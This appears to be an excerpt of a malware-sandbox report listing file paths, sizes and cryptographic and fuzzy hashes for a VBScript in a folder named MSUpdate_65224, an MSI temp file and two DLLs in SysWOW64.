- SSDEEP 786432:9CxbdhnfCJMGPk1Di4DNOCFzzt7P18AnX07UL3Ea5:cxbXnfCJMAYDi4D0C5Z9nT3D5
- TLSH T1477733F1B043895A9DC19CE0E6C5C144E28A41E5CA743EB7D17A53F6C2E7AC7A4E73A0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs
- Size 1KB
- SHA256 3d1a86ad729817d85377f59c3d5dcc67ba59af9824ae64aea8e626f6a4956d52
- MD5 4ee143d2618554b4d1e2852c433e46b1
- SHA1 59002f85299ef75a7e781b0cf3161573a70dd8be
- SHA512 b6ef5c25df25d0e35e8736e0c2f5a127e20563015cb992b6393fe9e967c9640efa3d17c4ca317758d3dcc777c9cb22760b1f04179668788a6afca782f10e6644
- TLSH T1F4313348E92FCD01C9758A7341076C4EC6B717552434006EBB6C8C7AAB2923ADF70562
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\Installer\MSI887F.tmp
- Size 81KB
- SHA256 17805948e9d5f51fca01c13bb7dedb1f1a1e17bcf5cc0cb6c01d9f773b712744
- MD5 e9b3f881f3855718fe6a4ed7855bae30
- SHA1 cf19171cc1b2186c5e046c0a3195ce47532b215a
- SHA512 50c04cc4ff234bb97192af5b437838f81e3930b1c2024dc13bd292ff85f6ddbaa670c7e2c2a1ca90d2c9e8de1b0ec4c1e7c2aa49ada80a0f4a42f9e461f41c26
- SSDEEP 1536:A+xCoJw5hZFi1QmA2uFQW9z/gkcWBxk40OExFyoxM:nJw51i1PburjM+xEOExFy9
- TLSH T102837C117350C872E49A693468A9C7326D397D625EF884C77FD907794FA03C1AE3932B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SysWOW64\dcagenthttp.dll
- Size 3.6MB
- SHA256 3de8d74127b797813742dd9fd618c38572b269f8dbb14af4d6014a1addec4e38
- MD5 c943a1cdbcd28058068b921cc8daa04e
- SHA1 2694d3588167cc0f940a30a5f4b13793e0cf181e
- SHA512 d5bee6a3a43d4b04e41d177af022ff03ac8a2971f0cc79265e00d027294e56b1de289773e487dba60664a6c9ba3d9f2f26bdd5453cc9220cd8313adf1868fd24
- SSDEEP 49152:eGvD7zfSmnd1o2Mm0A1qga6zN/zuNscwOWbKikCDp9ZqljvLQTeDTtJb83ph9h7Q:1D7zqmnd1oT4XN/zuNsSikq6Lzbs9VQ
- TLSH T1D106BF11FF82C176FECE1176827A4F7E4D3A9744076649C767A43AB80E311E26A3E247
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SysWOW64\dclibxml2.dll
- Size 2.1MB
- SHA256 a451dd3babd79318b612072cb417fd4848be821a1607dc58ac31676e9312fd7a
- MD5 67cc424838fda84bad295b4459107c8b
- SHA1 404f865e84e6338735a0c38617d73031195c520f
- SHA512 1a3232bed3826065416a50866d02827765c66104ed49c533324f0cb614745028411bda63784f4f8c3819f9a72e65016171179d80d484d10e52300eaffbd44397
- SSDEEP 49152:e9DUM26DYbVgzTtuKlKuuGaXKbj/BAUZLYM7:TMfQgRBBAUZLT
- TLSH T1F9A5AE15F981C176E5E6807486FEEBB6982ECD31232460E376A639D45E341E232BD34F
- MD5 SHA1 SHA512 SSDEEP TLSH